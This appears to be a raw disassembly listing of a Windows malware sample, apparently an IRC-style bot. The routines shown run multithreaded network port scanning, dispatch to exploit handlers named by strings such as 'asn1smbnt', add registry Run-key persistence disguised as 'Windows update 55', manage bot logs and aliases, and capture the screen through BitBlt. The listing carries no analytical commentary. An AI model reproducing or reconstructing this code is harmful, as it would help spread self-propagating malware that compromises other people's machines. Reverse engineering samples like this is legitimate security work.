mov dword_4443B8[ecx*8], eax
loc_402E09: ; CODE XREF: sub_402D70+26j
pop esi
leave
retn
sub_402D70 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402E0C proc near ; CODE XREF: sub_403076+B8p
; sub_4064A6+30p
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_44B740 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_402E35
xor eax, eax
jmp short loc_402EA4
; ---------------------------------------------------------------------------
loc_402E35: ; CODE XREF: sub_402E0C+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_44B6C0 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_44B75C ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_44B668 ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_44B6A8 ; select
push esi
mov edi, eax
call dword_44B758 ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_402EA4: ; CODE XREF: sub_402E0C+27j
pop edi
pop esi
pop ebx
leave
retn
sub_402E0C endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 10110h
call sub_418D40
push ebx
push esi
push edi
mov edi, 2649h
push edi
call dword_44B6C0 ; htons
push dword ptr [ebp+10h]
mov [ebp-28h], ax
call dword_44B6C0 ; htons
mov [ebp-26h], ax
call sub_419000
xor ebx, ebx
push 200h
mov [ebp-24h], eax
mov [ebp-20h], ebx
mov [ebp-1Ch], bx
mov [ebp-0Ch], bx
mov word ptr [ebp-1Ah], 5
mov [ebp-18h], bx
mov word ptr [ebp-16h], 1
mov [ebp-14h], bx
mov [ebp-12h], bx
mov [ebp-10h], bx
mov [ebp-0Eh], bx
call dword_44B6C0 ; htons
mov esi, [ebp+0Ch]
mov [ebp-0Ah], ax
mov eax, [ebp+8]
push 24h
mov [ebp-8], bx
mov [ebp-6], bx
mov [ebp-58h], eax
mov [ebp-54h], esi
mov [ebp-50h], bl
mov byte ptr [ebp-4Fh], 6
call dword_44B6C0 ; htons
mov [ebp-4Eh], ax
lea eax, [ebp-28h]
push 24h
push eax
lea eax, [ebp-4Ch]
push eax
call sub_418A00
lea eax, [ebp-58h]
push 20h
push eax
call sub_40B045
mov [ebp-8], ax
push 10h
lea eax, [ebp-38h]
push ebx
push eax
call sub_4189A0
add esp, 20h
mov word ptr [ebp-38h], 2
push dword ptr [ebp+10h]
call dword_44B6C0 ; htons
push 6
push 3
push 2
mov [ebp-36h], ax
mov [ebp-34h], esi
mov dword ptr [ebp-4], 10h
call dword_44B740 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_402FA8
push offset aSocketOpenFail ; "socket open failed"
jmp loc_403069
; ---------------------------------------------------------------------------
loc_402FA8: ; CODE XREF: .text:00402F9Cj
push dword ptr [ebp-4]
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-28h]
push 24h
push eax
push esi
call dword_44B724 ; sendto
cmp eax, 14h
mov [ebp+10h], eax
jz short loc_402FF1
call dword_44B654 ; WSAGetLastError
push eax
lea eax, [ebp-0D8h]
push dword ptr [ebp+10h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push eax
call sub_418D70
lea eax, [ebp-0D8h]
push eax
call sub_4035E1
add esp, 14h
jmp short loc_40303A
; ---------------------------------------------------------------------------
loc_402FF1: ; CODE XREF: .text:00402FC3j
push 10038h
lea eax, [ebp-10110h]
push ebx
push eax
call sub_4189A0
add esp, 0Ch
loc_403006: ; CODE XREF: .text:0040302Dj
cmp [ebp-100FAh], di
jz short loc_403043
lea eax, [ebp-4]
push eax
lea eax, [ebp-38h]
push eax
push ebx
lea eax, [ebp-10110h]
push 10038h
push eax
push esi
call dword_44B698 ; recvfrom
test eax, eax
jge short loc_403006
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4035E1
pop ecx
loc_40303A: ; CODE XREF: .text:00402FEFj
push esi
call dword_44B758 ; closesocket
jmp short loc_40306F
; ---------------------------------------------------------------------------
loc_403043: ; CODE XREF: .text:0040300Dj
push esi
call dword_44B758 ; closesocket
cmp word ptr [ebp-100EAh], 1
jnz short loc_403064
push offset aSocketOpen_ ; "Socket open."
call sub_4035E1
pop ecx
push 1
pop eax
jmp short loc_403071
; ---------------------------------------------------------------------------
loc_403064: ; CODE XREF: .text:00403052j
push offset aSocketClosed_ ; "Socket closed."
loc_403069: ; CODE XREF: .text:00402FA3j
call sub_4035E1
pop ecx
loc_40306F: ; CODE XREF: .text:00403041j
xor eax, eax
loc_403071: ; CODE XREF: .text:00403062j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403076 proc near ; DATA XREF: sub_40328A+13Bo
var_2A8 = dword ptr -2A8h
var_28C = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_150 = byte ptr -150h
var_140 = byte ptr -140h
var_C0 = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_150]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_494308
push eax
call sub_418FF0
mov ebx, esi
pop ecx
imul ebx, 234h
loc_4030BD: ; CODE XREF: sub_403076+200j
mov eax, dword_44D05C[ebx]
cmp dword_4443BC[eax*8], 0
jz loc_40327B
cmp [ebp+var_10], 0
push eax
jz short loc_4030E7
lea eax, [ebp+var_150]
push eax
call sub_402D70
pop ecx
jmp short loc_4030EC
; ---------------------------------------------------------------------------
loc_4030E7: ; CODE XREF: sub_403076+60j
call sub_402D28
loc_4030EC: ; CODE XREF: sub_403076+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_44D05C[ebx]
push [ebp+var_3C]
push edi
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call sub_418D70
lea eax, [ebp+var_28C]
push eax
lea eax, dword_44CE58[ebx]
push eax
call sub_418D70
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_402E0C
add esp, 2Ch
cmp eax, 1
jnz loc_40326B
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_4031C0
push offset dword_445358
call ds:dword_494304
push [ebp+var_3C]
push edi
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_28C]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push eax
call sub_418D70
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_4031A2
cmp [ebp+var_C0], 0
push 1
push [ebp+var_18]
lea eax, [ebp+var_28C]
push eax
lea eax, [ebp+var_C0]
jnz short loc_403196
lea eax, [ebp+var_140]
loc_403196: ; CODE XREF: sub_403076+118j
push eax
push [ebp+var_40]
call sub_40842D
add esp, 14h
loc_4031A2: ; CODE XREF: sub_403076+FDj
lea eax, [ebp+var_28C]
push eax
call sub_4035E1
mov [esp+2A8h+var_2A8], offset dword_445358
call ds:dword_494300
jmp loc_40326B
; ---------------------------------------------------------------------------
loc_4031C0: ; CODE XREF: sub_403076+CDj
push edi
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_208]
push eax
call sub_418D70
mov eax, [ebp+var_20]
imul eax, 3Ch
add eax, offset aAsn1smbnt ; "asn1smbnt"
push eax
lea eax, [ebp+var_178]
push eax
call sub_418D70
add esp, 10h
cmp [ebp+var_C0], 0
lea eax, [ebp+var_C0]
jnz short loc_403204
lea eax, [ebp+var_140]
loc_403204: ; CODE XREF: sub_403076+186j
push eax
lea eax, [ebp+var_1F8]
push eax
call sub_418D70
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_164], eax
imul eax, 3Ch
sub esp, 0BCh
mov [ebp+var_168], esi
lea esi, [ebp+var_20C]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call off_43615C[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40326B: ; CODE XREF: sub_403076+C3j
; sub_403076+145j
push 7D0h
call ds:dword_4942D8
jmp loc_4030BD
; ---------------------------------------------------------------------------
loc_40327B: ; CODE XREF: sub_403076+55j
push esi
call sub_416507
pop ecx
push 0
call ds:dword_4942FC
sub_403076 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40328A proc near ; DATA XREF: sub_40C50A+3310o
; sub_40C50A+513Bo
var_1DC = dword ptr -1DCh
var_1CC = byte ptr -1CCh
var_14C = byte ptr -14Ch
var_13C = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_44B700 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4443B8[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_402994
push 8
call sub_416433
add esp, 150h
cmp eax, ebx
jnz short loc_403358
mov esi, offset dword_445358
push esi
call ds:dword_494310
push 80000400h
push esi
call ds:dword_49430C
test eax, eax
jnz short loc_403358
lea eax, [ebp+var_1CC]
push offset aScanFailedToIn ; "[SCAN]: Failed to initialize critical s"...
push eax
call sub_418D70
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_403342
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40842D
add esp, 14h
loc_403342: ; CODE XREF: sub_40328A+99j
lea eax, [ebp+var_1CC]
push eax
call sub_4035E1
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_403358: ; CODE XREF: sub_40328A+63j
; sub_40328A+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_4942D8
mov edi, ebx
mov dword_4443BC[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_403425
loc_403376: ; CODE XREF: sub_40328A+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+var_1CC]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
call sub_418D70
push ebx
lea eax, [ebp+var_1CC]
push 8
push eax
call sub_4161EB
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_44D05C[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_403076
push ebx
push ebx
call ds:dword_4942F4
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_44D06C[ecx], eax
jz short loc_4033F0
loc_4033E5: ; CODE XREF: sub_40328A+164j
cmp [ebp+var_4], ebx
jnz short loc_403417
push 1Eh
call esi
jmp short loc_4033E5
; ---------------------------------------------------------------------------
loc_4033F0: ; CODE XREF: sub_40328A+159j
call ds:dword_4942F0
push eax
lea eax, [ebp+var_1CC]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push eax
call sub_418D70
lea eax, [ebp+var_1CC]
push eax
call sub_4035E1
add esp, 10h
loc_403417: ; CODE XREF: sub_40328A+15Ej
push 1Eh
call esi
inc edi
cmp edi, [ebp+var_20]
jbe loc_403376
loc_403425: ; CODE XREF: sub_40328A+E6j
cmp [ebp+var_30], ebx
jz loc_4034CF
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi
loc_40343A: ; CODE XREF: sub_40328A+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4443B8[eax*8]
push eax
call dword_44B74C ; inet_ntoa
push eax
lea eax, [ebp+var_1CC]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call sub_418D70
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_403488
push ebx
lea eax, [ebp+var_1CC]
push [ebp+var_14]
push eax
lea eax, [ebp+var_13C]
push eax
push [ebp+var_3C]
call sub_40842D
add esp, 14h
loc_403488: ; CODE XREF: sub_40328A+1DFj
lea eax, [ebp+var_1CC]
push eax
call sub_4035E1
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4443BC[eax*8], ebx
call esi
push 8
call sub_416433
cmp eax, 1
pop ecx
jnz short loc_4034BF
push offset dword_445358
call ds:dword_494310
loc_4034BF: ; CODE XREF: sub_40328A+228j
push [ebp+var_2C]
call sub_416507
pop ecx
push ebx
call ds:dword_4942FC
loc_4034CF: ; CODE XREF: sub_40328A+19Ej
; sub_40328A+25Dj
mov eax, [ebp+var_2C]
cmp dword_4443BC[eax*8], 1
jnz loc_40343A
push 7D0h
call esi
jmp short loc_4034CF
sub_40328A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4034E9 proc near ; CODE XREF: sub_40C50A+44ACp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
push edi
mov esi, offset dword_44C2D8
mov edi, 0B8h
loc_4034FD: ; CODE XREF: sub_4034E9+33j
cmp byte ptr [esi], 0
jz short loc_403520
push [ebp+arg_0]
push esi
call sub_419360
pop ecx
test eax, eax
pop ecx
jz short loc_403520
inc [ebp+var_4]
add esi, edi
cmp esi, offset dword_44CE58
jl short loc_4034FD
jmp short loc_403562
; ---------------------------------------------------------------------------
loc_403520: ; CODE XREF: sub_4034E9+17j
; sub_4034E9+26j
mov esi, [ebp+var_4]
push ebx
imul esi, 0B8h
push edi
push 0
lea ebx, dword_44C2D8[esi]
push ebx
call sub_4189A0
push 17h
push [ebp+arg_0]
push ebx
call sub_4191A0
push 9Fh
lea eax, dword_44C2F0[esi]
push [ebp+arg_4]
push eax
call sub_4191A0
add esp, 24h
inc dword_43E5BC
pop ebx
loc_403562: ; CODE XREF: sub_4034E9+35j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_4034E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403569 proc near ; CODE XREF: sub_40C50A+5B4Cp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aAliasList ; "-[Alias List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 14h
xor edi, edi
mov esi, offset dword_44C2D8
loc_403593: ; CODE XREF: sub_403569+72j
cmp byte ptr [esi], 0
jz short loc_4035CE
lea eax, [esi+18h]
push eax
push esi
push edi
push offset aD_SS ; "%d. %s = %s"
lea eax, [ebp+var_200]
push 200h
push eax
call sub_418EF0
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40842D
add esp, 2Ch
loc_4035CE: ; CODE XREF: sub_403569+2Dj
add esi, 0B8h
inc edi
cmp esi, offset dword_44CE58
jl short loc_403593
pop edi
pop esi
leave
retn
sub_403569 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4035E1 proc near ; CODE XREF: sub_4013F1+323p
; .text:00401A19p ...
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
lea eax, [ebp+var_10]
push edi
push eax
call ds:dword_494314
mov ebx, offset dword_449C70
mov edi, 80h
mov esi, offset dword_445C70
loc_403603: ; CODE XREF: sub_4035E1+3Dj
cmp byte ptr [ebx], 0
jz short loc_40361A
push 7Fh
lea eax, [ebx+80h]
push ebx
push eax
call sub_4191A0
add esp, 0Ch
loc_40361A: ; CODE XREF: sub_4035E1+25j
sub ebx, edi
cmp ebx, esi
jge short loc_403603
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
push edi
push esi
call sub_418EF0
add esp, 28h
pop edi
pop esi
pop ebx
leave
retn
sub_4035E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403655 proc near ; CODE XREF: sub_40C22A+F7p
; sub_40C50A:loc_410739p ...
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 80h
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_80]
push [ebp+arg_0]
push 80h
push eax
call sub_4193F0
lea eax, [ebp+var_80]
push eax
call sub_4035E1
add esp, 14h
leave
retn
sub_403655 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+14h], ebx
push esi
mov dword ptr [ebp-8], 80h
mov [ebp-4], ebx
jnz short loc_4036B0
push ebx
push dword ptr [ebp+10h]
push offset aLogs ; "-[Logs]-"
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40842D
add esp, 14h
loc_4036B0: ; CODE XREF: .text:00403697j
cmp [ebp+18h], ebx
jz short loc_4036C8
push dword ptr [ebp+18h]
call sub_4195F0
cmp eax, ebx
pop ecx
mov [ebp-4], eax
jz short loc_4036C8
mov [ebp-8], eax
loc_4036C8: ; CODE XREF: .text:004036B3j
; .text:004036C3j
mov [ebp+14h], ebx
mov esi, offset dword_445C70
loc_4036D0: ; CODE XREF: .text:00403718j
mov eax, [ebp+14h]
cmp eax, [ebp-8]
jge short loc_40371A
cmp [esi], bl
jz short loc_403709
cmp [ebp+18h], ebx
jz short loc_4036F5
cmp [ebp-4], ebx
jnz short loc_4036F5
push dword ptr [ebp+18h]
push esi
call sub_4099DA
pop ecx
test eax, eax
pop ecx
jz short loc_403709
loc_4036F5: ; CODE XREF: .text:004036DFj
; .text:004036E4j
push 1
push dword ptr [ebp+10h]
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40842D
add esp, 14h
loc_403709: ; CODE XREF: .text:004036DAj
; .text:004036F3j
inc dword ptr [ebp+14h]
add esi, 80h
cmp esi, offset dword_449C70
jl short loc_4036D0
loc_40371A: ; CODE XREF: .text:004036D6j
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
sub_40371E proc near ; CODE XREF: sub_40C50A+5A43p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, offset dword_445C70
xor ecx, ecx
loc_403725: ; CODE XREF: sub_40371E+13j
mov [eax], cl
add eax, 80h
cmp eax, offset dword_449C70
jl short loc_403725
cmp [esp+arg_C], ecx
jnz short loc_403753
push ecx
push [esp+4+arg_8]
push offset aLogsCleared_ ; "[LOGS]: Cleared."
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_40842D
add esp, 14h
loc_403753: ; CODE XREF: sub_40371E+19j
push offset aLogsCleared__0 ; "[LOGS]: Cleared."
call sub_4035E1
pop ecx
retn
sub_40371E endp
; =============== S U B R O U T I N E =======================================
sub_40375F proc near ; CODE XREF: sub_4013F1+2B3p
; .text:004019A9p
arg_0 = dword ptr 4
push esi
mov esi, offset dword_445C70
loc_403765: ; CODE XREF: sub_40375F+27j
cmp byte ptr [esi], 0
jz short loc_40377A
push [esp+4+arg_0]
push esi
call sub_4099DA
pop ecx
test eax, eax
pop ecx
jnz short loc_40378C
loc_40377A: ; CODE XREF: sub_40375F+9j
add esi, 80h
cmp esi, offset dword_449C70
jl short loc_403765
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40378C: ; CODE XREF: sub_40375F+19j
push 1
pop eax
pop esi
retn
sub_40375F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403791 proc near ; DATA XREF: sub_40C50A+5AF6o
var_31C = byte ptr -31Ch
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 31Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 45h
pop ecx
mov esi, eax
lea edi, [ebp+var_11C]
push 1
rep movsd
xor edx, edx
pop edi
cmp [ebp+var_10], edx
mov [ebp+var_8], 80h
mov [ebp+var_4], edx
mov [eax+110h], edi
jnz short loc_4037E4
push edx
lea eax, [ebp+var_118]
push [ebp+var_14]
push offset aLogBegin ; "[LOG]: Begin"
push eax
push [ebp+var_11C]
call sub_40842D
add esp, 14h
loc_4037E4: ; CODE XREF: sub_403791+33j
cmp [ebp+var_98], 0
jz short loc_403804
lea eax, [ebp+var_98]
push eax
call sub_4195F0
test eax, eax
pop ecx
mov [ebp+var_4], eax
jz short loc_403804
mov [ebp+var_8], eax
loc_403804: ; CODE XREF: sub_403791+5Aj
; sub_403791+6Ej
and [ebp+arg_0], 0
mov esi, offset dword_445C70
loc_40380D: ; CODE XREF: sub_403791+D4j
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_8]
jge short loc_403867
cmp byte ptr [esi], 0
jz short loc_403856
cmp [ebp+var_98], 0
jz short loc_40383C
cmp [ebp+var_4], 0
jnz short loc_40383C
lea eax, [ebp+var_98]
push eax
push esi
call sub_4099DA
pop ecx
test eax, eax
pop ecx
jz short loc_403856
loc_40383C: ; CODE XREF: sub_403791+90j
; sub_403791+96j
push edi
lea eax, [ebp+var_118]
push [ebp+var_14]
push esi
push eax
push [ebp+var_11C]
call sub_40842D
add esp, 14h
loc_403856: ; CODE XREF: sub_403791+87j
; sub_403791+A9j
inc [ebp+arg_0]
add esi, 80h
cmp esi, offset dword_449C70
jl short loc_40380D
loc_403867: ; CODE XREF: sub_403791+82j
lea eax, [ebp+var_31C]
push offset aLogListComplet ; "[LOG]: List complete."
push eax
call sub_418D70
xor esi, esi
pop ecx
cmp [ebp+var_10], esi
pop ecx
jnz short loc_4038A1
push esi
lea eax, [ebp+var_31C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_118]
push eax
push [ebp+var_11C]
call sub_40842D
add esp, 14h
loc_4038A1: ; CODE XREF: sub_403791+EEj
lea eax, [ebp+var_31C]
push eax
call sub_4035E1
push [ebp+var_18]
call sub_416507
pop ecx
pop ecx
push esi
call ds:dword_4942FC
pop edi
pop esi
sub_403791 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4038C0 proc near ; CODE XREF: sub_403930+4p
; sub_409D2E+1Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_4368D0
xor esi, esi
mov ebx, offset aWindowsUpdate5 ; "Windows update 55"
loc_4038D3: ; CODE XREF: sub_4038C0+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_44B674 ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40390D
push [ebp+arg_0]
call sub_418E70
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_44B6E4 ; RegSetValueExA
jmp short loc_403917
; ---------------------------------------------------------------------------
loc_40390D: ; CODE XREF: sub_4038C0+2Fj
push ebx
push [ebp+var_4]
call dword_44B62C ; RegDeleteValueA
loc_403917: ; CODE XREF: sub_4038C0+4Bj
push [ebp+var_4]
call dword_44B69C ; RegCloseKey
add edi, 8
cmp edi, offset aDisplay ; "DISPLAY"
jl short loc_4038D3
pop edi
pop esi
pop ebx
leave
retn
sub_4038C0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_403930 proc near ; CODE XREF: sub_403930+16j
; DATA XREF: sub_40BBCB+43Do
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_4038C0
pop ecx
push dword_4368C8
call ds:dword_4942D8
jmp short sub_403930
sub_403930 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403948 proc near ; CODE XREF: sub_40C50A+45CDp
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_44B6AC ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_403B7C
push 8
push edi
call dword_44B6C8 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_44B6C8 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_44B6C8 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_4039AA
push 18h
push edi
call dword_44B6C8 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_4039AC
; ---------------------------------------------------------------------------
loc_4039AA: ; CODE XREF: sub_403948+50j
xor ebx, ebx
loc_4039AC: ; CODE XREF: sub_403948+60j
push edi
call dword_44B70C ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_403B61
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_44B704 ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_403B6C
push eax
push [ebp+var_4]
call dword_44B59C ; SelectObject
cmp eax, esi
jz loc_403B6C
cmp eax, 0FFFFFFFFh
jz loc_403B6C
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_44B708 ; BitBlt
test eax, eax
